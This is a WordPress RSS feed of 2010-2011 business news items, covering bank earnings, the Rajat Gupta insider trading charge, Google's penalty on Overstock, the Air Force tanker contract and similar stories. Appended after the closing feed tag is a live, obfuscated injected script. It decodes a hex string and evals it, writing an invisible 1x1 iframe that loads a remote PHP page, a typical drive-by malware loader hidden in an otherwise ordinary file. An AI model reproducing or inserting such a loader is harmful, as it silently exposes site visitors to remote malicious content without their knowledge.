<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Breaking news &#187; Business news</title>
	<atom:link href="http://newsup.net/category/business-news/feed/" rel="self" type="application/rss+xml" />
	<link>http://newsup.net</link>
	<description>latest Breaking news</description>
	<lastBuildDate>Mon, 02 May 2011 15:12:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>standard chartered Record Profit</title>
		<link>http://newsup.net/2011/03/02/standard-chartered-record-profit/</link>
		<comments>http://newsup.net/2011/03/02/standard-chartered-record-profit/#comments</comments>
		<pubDate>Wed, 02 Mar 2011 07:51:55 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Business news]]></category>

		<guid isPermaLink="false">http://newsup.net/?p=19289</guid>
		<description><![CDATA[&#8221;Standard Chartered Posts Record Profit&#8221; Standard Chartered, the Asia-focused bank, today revealed full-year profits up 19% and income up to over $16 billion. The bank reported a net profit of $2.13 billion for July December, based on Reuters calculations, up from $1.4 billion a year earlier and in line with expectations for a $2.14 billion [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://newsup.net/2011/03/02/standard-chartered-record-profit/standard-chartered/" rel="attachment wp-att-19290"><img src="http://newsup.net/wp-content/uploads/2011/03/Standard-Chartered.jpg" alt="" title="Standard-Chartered" width="300" height="300" class="aligncenter size-full wp-image-19290" /></a><br />
&#8221;Standard Chartered Posts Record Profit&#8221;</p>
<p>Standard Chartered, the Asia-focused bank, today revealed full-year profits up 19% and income up to over $16 billion.<br />
The bank reported a net profit of $2.13 billion for July December, based on Reuters calculations,<br />
 up from $1.4 billion a year earlier and in line with expectations for a $2.14 billion net profit.<br />
Chief Executive Officer Peter Sands, whose bank gets most of its profit from Asia’s growing economies, said regulation poses the biggest threat as global lenders grapple with stricter capital rules.<br />
A U.K. bank levy set to take effect this year will cost Standard Chartered $180 million after tax in 2011.<span id="more-19289"></span><br />
We believe we can continue to deliver double-digit growth in income in 2011 and beyond,&#8221; Chief Executive Peter Sands said in a statement.</p>
]]></content:encoded>
			<wfw:commentRss>http://newsup.net/2011/03/02/standard-chartered-record-profit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Goldman Sachs director Charged &#8211; Insider Trading</title>
		<link>http://newsup.net/2011/03/01/goldman-sachs-director-charged-insider-trading/</link>
		<comments>http://newsup.net/2011/03/01/goldman-sachs-director-charged-insider-trading/#comments</comments>
		<pubDate>Tue, 01 Mar 2011 17:59:28 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Business news]]></category>

		<guid isPermaLink="false">http://newsup.net/?p=19150</guid>
		<description><![CDATA[&#8221;Former Goldman Sachs Board Member Rajat Gupta Charged By SEC With Insider Trading&#8221; The Securities and Exchange Commission said - Federal regulators have charged a former Goldman Sachs board member with insider trading, saying he provided confidential information to the central figure in a major hedge fund probe. According to the SEC, Gupta allegedly tipped [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://newsup.net/2011/03/01/goldman-sachs-director-charged-insider-trading/36911-2/" rel="attachment wp-att-19152"><img src="http://newsup.net/wp-content/uploads/2011/03/369111.jpg" alt="" title=" Goldman Sachs Board Member Rajat Gupta" width="195" height="250" class="aligncenter size-full wp-image-19152" /></a><br />
&#8221;Former Goldman Sachs Board Member Rajat Gupta Charged By SEC With Insider Trading&#8221;<br />
The Securities and Exchange Commission said -<br />
 Federal regulators have charged a former Goldman Sachs board member with insider trading, saying he provided confidential information to the central figure in a major hedge fund probe.<br />
According to the SEC, Gupta allegedly tipped off Rajaratnam immediately after Goldman&#8217;s board approved Berkshire&#8217;s investment in Goldman Sachs.<br />
 That same day, just minutes before the market close, Rajaratnam allegedly arranged for Galleon funds to purchase more than 175,000 <span id="more-19150"></span>Goldman shares.<br />
Rajaratnam used the inside information to trade on behalf of some of Galleon’s hedge funds, or shared the information with others at his firm who then traded on it ahead of public announcements by the firms. </p>
]]></content:encoded>
			<wfw:commentRss>http://newsup.net/2011/03/01/goldman-sachs-director-charged-insider-trading/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vivendi Profit Increased</title>
		<link>http://newsup.net/2011/03/01/vivendi-profit-increased/</link>
		<comments>http://newsup.net/2011/03/01/vivendi-profit-increased/#comments</comments>
		<pubDate>Tue, 01 Mar 2011 08:49:37 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Business news]]></category>

		<guid isPermaLink="false">http://newsup.net/?p=19076</guid>
		<description><![CDATA[&#8221;Videogames, Brazil Drive Vivendi&#8221; Vivendi SA posted a 4.4 percent increase in 2010 profit, aided by demand for video-games titles such as Call of Duty and World of Warcraft, and the company’s operations in Brazil. Investors will also be on the lookout for any update on Vivendi&#8217;s planned purchase of Vodafone&#8217;s 44 percent stake in [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://newsup.net/2011/03/01/vivendi-profit-increased/the-vivendi-office-is-seen-in-paris-on-wednesday-may-17-2006/" rel="attachment wp-att-19077"><img src="http://newsup.net/wp-content/uploads/2011/03/vivendi.jpg" alt="game" title="vivendi" width="225" height="250" class="aligncenter size-full wp-image-19077" /></a><br />
&#8221;Videogames, Brazil Drive Vivendi&#8221;</p>
<p>Vivendi SA posted a 4.4 percent increase in 2010 profit, aided by demand for video-games titles such as Call of Duty and World of Warcraft, and the company’s operations in Brazil.<br />
Investors will also be on the lookout for any update on Vivendi&#8217;s planned purchase of Vodafone&#8217;s 44 percent stake in telecoms brand SFR. Vivendi owns the rest.<br />
The group posted profit of €559 million ($772 million), or €0.45 per share, against a loss of €958 million, or €0.78 per share, in the same <span id="more-19076"></span>period a year ago. Revenue rose 5.3% to €8 billion, against €7.6 billion in the year-ago period.<br />
Activision Blizzard&#8217;s new releases Call of Duty &#8211; Black Ops, Starcraft II: Wings of Liberty and World of WarcraftÂ®: Cataclysm were the main driving force of this strong performance. </p>
]]></content:encoded>
			<wfw:commentRss>http://newsup.net/2011/03/01/vivendi-profit-increased/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>berkshire hathaway</title>
		<link>http://newsup.net/2011/02/26/berkshire-hathaway/</link>
		<comments>http://newsup.net/2011/02/26/berkshire-hathaway/#comments</comments>
		<pubDate>Sat, 26 Feb 2011 14:01:55 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Business news]]></category>

		<guid isPermaLink="false">http://newsup.net/?p=18921</guid>
		<description><![CDATA[Warren Buffett’s Berkshire Hathaway has reported a 43 percent jump in fourth-quarter profit thanks to the strong performance of BNSF railroad and a paper gain of $1.4 billion on the company’s derivative contracts and investments. Buffett said Saturday in his annual letter that the acquisition of the Burlington Northern Santa Fe railroad was the highlight [...]]]></description>
			<content:encoded><![CDATA[<p> <a href="http://newsup.net/2011/02/26/berkshire-hathaway/large_ssweeney_-2/" rel="attachment wp-att-18923"><img src="http://newsup.net/wp-content/uploads/2011/02/large_SSweeney_1.jpg" alt="" title="large_SSweeney_" width="353" height="302" class="aligncenter size-full wp-image-18923" /></a>Warren Buffett’s Berkshire Hathaway has reported a 43 percent jump in fourth-quarter profit thanks to the strong performance of BNSF railroad and a paper gain of $1.4 billion on the company’s derivative contracts and investments.<span id="more-18921"></span><br />
Buffett said Saturday in his annual letter that the acquisition of the Burlington Northern Santa Fe railroad was the highlight of 2010 for his Omaha, Neb.,-based company. </p>
<p>A good portion of the quarter&#8217;s improvement came from a corner of the Omaha, Neb., company that Mr. Buffett has advised shareholders to ignore: Berkshire&#8217;s derivative portfolio. The gains, which Mr. Buffett says are an accounting matter, don&#8217;t bring in any additional funds to invest—just as significant losses on the derivatives in 2008 didn&#8217;t result in any money going out the door.<br />
Berkshire&#8217;s revenue grew nearly 20 percent to $36.2 billion from $30.2 billion last year.<br />
Berkshire reported $4.38 billion net income, or $2,656 per Class A share, in the fourth quarter. That&#8217;s up from the $3.1 billion net income, or $1,969 per Class A share, a year ago. </p>
]]></content:encoded>
			<wfw:commentRss>http://newsup.net/2011/02/26/berkshire-hathaway/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Air tanker $35 billion Contract</title>
		<link>http://newsup.net/2011/02/24/air-tanker-35-billion-contract/</link>
		<comments>http://newsup.net/2011/02/24/air-tanker-35-billion-contract/#comments</comments>
		<pubDate>Thu, 24 Feb 2011 20:07:51 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Business news]]></category>

		<guid isPermaLink="false">http://newsup.net/?p=18835</guid>
		<description><![CDATA[After a decade of delays and embarrassing missteps, the Air Force is poised to award one of the biggest contracts in military history — a $35 billion deal to build nearly 200 giant airborne refueling tankers — to either Chicago-based Boeing Co. or European Aeronautic Defence and Space Company. The decision will be announced at [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://newsup.net/2011/02/24/air-tanker-35-billion-contract/air-tanker-2/" rel="attachment wp-att-18837"><img src="http://newsup.net/wp-content/uploads/2011/02/air-tanker1.jpg" alt="" title="air tanker" width="350" height="253" class="aligncenter size-full wp-image-18837" /></a>After a decade of delays and embarrassing missteps, the Air Force is poised to award one of the biggest contracts in military history — a $35 billion deal to build nearly 200 giant airborne refueling tankers — to either Chicago-based Boeing Co. or European Aeronautic Defence and Space Company.<br />
<span id="more-18835"></span><br />
The decision will be announced at the Pentagon after the financial markets close on Thursday and it is certain to set off celebrations in the states where the tanker will be manufactured.<br />
The decision will be announced at the Pentagon after the financial markets close on Thursday and it is certain to set off celebrations in the states where the tanker will be manufactured.</p>
<p>If Boeing wins, production would occur in Everett, Wash., Wichita, Kan., and several other states. If EADS wins, the tanker would be assembled in Mobile, Ala., at a long-shuttered military base. The two companies say either way, some 50,000 jobs would be created in a recession-weary nation.<br />
The contract has generated some of the fiercest and costliest lobbying in Washington. The two companies have spent millions on advertising, including radio and subway ads in the nation&#8217;s capital, and hired dozens of lobbyists.</p>
]]></content:encoded>
			<wfw:commentRss>http://newsup.net/2011/02/24/air-tanker-35-billion-contract/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Punishes Overstock for Search Tactics</title>
		<link>http://newsup.net/2011/02/24/google-punishes-overstock-for-search-tactics/</link>
		<comments>http://newsup.net/2011/02/24/google-punishes-overstock-for-search-tactics/#comments</comments>
		<pubDate>Thu, 24 Feb 2011 19:23:50 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Business news]]></category>

		<guid isPermaLink="false">http://newsup.net/?p=18819</guid>
		<description><![CDATA[Google has penalized Overstock.com, saying the online retailer violated policy designed to keep companies from artificially boosting their search rankings. Overstock said the penalty, which moved some of its search results from the first page of Google results to the fifth or sixth, resulted in large part from providing discounts in exchange for links on [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://newsup.net/2011/02/24/google-punishes-overstock-for-search-tactics/_overstock/" rel="attachment wp-att-18820"><img src="http://newsup.net/wp-content/uploads/2011/02/overstock..jpg" alt="" title="_overstock." width="340" height="350" class="aligncenter size-full wp-image-18820" /></a>Google has penalized Overstock.com, saying the online retailer violated policy designed to keep companies from artificially boosting their search rankings. Overstock said the penalty, which moved some of its search results from the first page of Google results to the fifth or sixth, <span id="more-18819"></span>resulted in large part from providing discounts in exchange for links on college websites to the company&#8217;s site. The practice was discontinued Feb. 10, Overstock said.<br />
Overstock&#8217;s pages had recently ranked near the top of results for dozens of common searches, including &#8220;vacuum cleaners&#8221; and &#8220;laptop computers.&#8221; But links to Overstock on Tuesday dropped to the fifth or sixth pages of Google results for many of those categories, greatly reducing the chances that a user would click on its links.</p>
<p>The incident, according to Overstock, stemmed in part from its practice of encouraging websites of colleges and universities to post links to Overstock pages so that students and faculty could receive discounts on the shopping site. Overstock said it discontinued the program on Feb. 10, before hearing from Google, but said some university webmasters have been slow to remove the links.<br />
What’s particularly dastardly about Overstock’s strategy is that educational sites are valued higher by Google’s search algorithm because they rarely link to commercial sites. In other words, by placing Overstock links on college websites, the company effectively tricked Google into elevating its rank all the while poisoning the naive hearts and minds of America’s youth with seriously awesome deals on everything from book shelves to shower curtains.</p>
]]></content:encoded>
			<wfw:commentRss>http://newsup.net/2011/02/24/google-punishes-overstock-for-search-tactics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Royal Bank Of Scotland losses</title>
		<link>http://newsup.net/2011/02/24/royal-bank-of-scotland-losses/</link>
		<comments>http://newsup.net/2011/02/24/royal-bank-of-scotland-losses/#comments</comments>
		<pubDate>Thu, 24 Feb 2011 08:23:20 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Business news]]></category>

		<guid isPermaLink="false">http://newsup.net/?p=18792</guid>
		<description><![CDATA[&#8221;RBS Misses Analyst Estimates With 1.1 Billion-Pound Loss&#8221; Britain&#8217;s state-rescued Royal Bank of Scotland said Thursday that net losses narrowed sharply last year to £1.125 billion (1.327 billion euros, $1.823 billion). Two years on from the global financial crisis, RBS’s recovery is ahead of schedule,” Chief Executive Officer Stephen Hester said in the statement. “We [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://newsup.net/2011/02/24/royal-bank-of-scotland-losses/royal-bank-of-scotland-photo-by-theguardianuk/" rel="attachment wp-att-18793"><img src="http://newsup.net/wp-content/uploads/2011/02/Royal-Bank-of-Scotland-Photo-By-TheGuardianUK.jpg" alt="" title="Royal-Bank-of-Scotland-Photo-By-TheGuardianUK" width="400" height="256" class="aligncenter size-full wp-image-18793" /></a><br />
&#8221;RBS Misses Analyst Estimates With 1.1 Billion-Pound Loss&#8221;<br />
Britain&#8217;s state-rescued Royal Bank of Scotland said Thursday that net losses narrowed sharply last year to £1.125 billion (1.327 billion euros, $1.823 billion).<br />
Two years on from the global financial crisis, RBS’s recovery is ahead of schedule,” Chief Executive Officer Stephen Hester said in the statement. “We have much work still to do and there are significant obstacles still to overcome.<br />
The return to operating profit reflects both the internal rebuilding process at RBS and the external recovery in market and economic <span id="more-18792"></span>conditions,&#8221; said chairman Philip Hampton.</p>
<p>&#8220;We are still a good way from where we want to be in terms of our performance but 2010 represents another big stride towards that goal.</p>
]]></content:encoded>
			<wfw:commentRss>http://newsup.net/2011/02/24/royal-bank-of-scotland-losses/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>texas census</title>
		<link>http://newsup.net/2011/02/17/texas-census/</link>
		<comments>http://newsup.net/2011/02/17/texas-census/#comments</comments>
		<pubDate>Thu, 17 Feb 2011 20:56:03 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Business news]]></category>
		<category><![CDATA[world news]]></category>

		<guid isPermaLink="false">http://newsup.net/?p=18305</guid>
		<description><![CDATA[&#8221;Texas Census Numbers Show Huge Hispanic Growth&#8221; Hispanics account for two-thirds of Texas&#8217; growth over the past decade and now make up 38 percent of the state&#8217;s total population, according to new local U.S. Census figures. Non Hispanic whites dropped to 45.3 percent and blacks make up 11.5 percent of Texas&#8217;s population. The figures, which [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://newsup.net/2011/02/17/texas-census/773-census_oklahoma_hispanics-sff-embedded-prod_affiliate-56/" rel="attachment wp-att-18306"><img src="http://newsup.net/wp-content/uploads/2011/02/773-Census_Oklahoma_Hispanics.sff_.embedded.prod_affiliate.56.jpg" alt="" title="texas census" width="316" height="213" class="aligncenter size-full wp-image-18306" /></a><br />
&#8221;Texas Census Numbers Show Huge Hispanic Growth&#8221;<br />
Hispanics account for two-thirds of Texas&#8217; growth over the past decade and now make up 38 percent of the state&#8217;s total population, according to new local U.S. Census figures.<br />
Non Hispanic whites dropped to 45.3 percent and blacks make up 11.5 percent of Texas&#8217;s population. The figures, which were obtained by The Associated Press, were given Thursday morning to state leaders and <span id="more-18305"></span>were set to be released publicly Thursday afternoon.<br />
Texas&#8217; growth over the past decade was driven by Hispanics who accounted for nearly two-thirds of the state&#8217;s nearly 4.2 million population increase.<br />
Hispanics now comprise 38 percent of the state&#8217;s population. Non-Hispanic whites dropped to 45.3 percent and blacks comprised 11.5 percent, the data shows.</p>
]]></content:encoded>
			<wfw:commentRss>http://newsup.net/2011/02/17/texas-census/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kraft says Foods price increases</title>
		<link>http://newsup.net/2011/02/11/kraft-says-foods-price-increases/</link>
		<comments>http://newsup.net/2011/02/11/kraft-says-foods-price-increases/#comments</comments>
		<pubDate>Fri, 11 Feb 2011 11:29:22 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Business news]]></category>

		<guid isPermaLink="false">http://newsup.net/?p=17932</guid>
		<description><![CDATA[&#8221;Kraft says more price increases ahead&#8221; Kraft Foods claims that the strength of brands such as Kenco, Philadelphia and Dairylea will help it pass on the price increases necessary to offset rising commodity costs. Despite the Cadbury takeover helping to boost sales by 30%, Kraft&#8217;s net profit for the fourth quarter fell 24% to $540m [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://newsup.net/2011/02/11/kraft-says-foods-price-increases/kraft/" rel="attachment wp-att-17933"><img src="http://newsup.net/wp-content/uploads/2011/02/kraft-300x193.jpg" alt="" title="kraft" width="300" height="193" class="alignleft size-medium wp-image-17933" /></a><br />
&#8221;Kraft says more price increases ahead&#8221;<br />
Kraft Foods claims that the strength of brands such as Kenco, Philadelphia and Dairylea will help it pass on the price increases necessary to offset rising commodity costs.<br />
Despite the Cadbury takeover helping to boost sales by 30%, Kraft&#8217;s net profit for the fourth quarter fell 24% to $540m (£335m) due to costs associated with integrating the UK business.<br />
Kraft also warned that it would be increasing prices to offset rising commodity costs.<br />
Operating income in the latest period was $1.24 billion, or 46 cents a share, Kraft also reported.</p>
<p>Net revenue rose 30% to $13.8 billion, mostly from Kraft’s acquisition of <span id="more-17932"></span>British chocolate company Cadbury. Combined organic net revenue rose 5.7% in the period.</p>
<p>Kraft was expected to make a profit of 47 cents a share on sales of $13.33 billion, according to the average estimate of analysts surveyed by FactSet Research.</p>
]]></content:encoded>
			<wfw:commentRss>http://newsup.net/2011/02/11/kraft-says-foods-price-increases/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>steven slater</title>
		<link>http://newsup.net/2010/08/10/steven-slater/</link>
		<comments>http://newsup.net/2010/08/10/steven-slater/#comments</comments>
		<pubDate>Tue, 10 Aug 2010 04:49:37 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Business news]]></category>

		<guid isPermaLink="false">http://newsup.net/?p=17815</guid>
		<description><![CDATA[A JetBlue flight attendant got into an argument with a passenger on a jetliner arriving at John F. Kennedy International Airport on Monday, cursed the passenger, grabbed a beer from the galley and then deployed an emergency exit slide and fled the plane, authorities said. Flight attendant Steven Slater was arrested at his nearby home [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="" src="http://blog.prymustech.com/wp-content/uploads/2009/01/air-blue.jpg" class="alignright" width="360" height="317" />A JetBlue flight attendant got into an argument with a passenger on a jetliner arriving at John F. Kennedy International Airport on Monday, cursed the passenger, grabbed a beer from the galley and then deployed an emergency exit slide and fled the plane, authorities said.<span id="more-17815"></span></p>
<p>Flight attendant Steven Slater was arrested at his nearby home in the Belle Harbor section of Queens by Port Authority of New York And New Jersey police on charges of criminal mischief, reckless endangerment and trespassing.<br />
</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://newsup.net/2010/08/10/steven-slater/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
echo "<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f686f6c6976656e746972696f6e736f2e636f6d2f696e6465782e7068703f74703d34623035613739366564393133623864222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>";
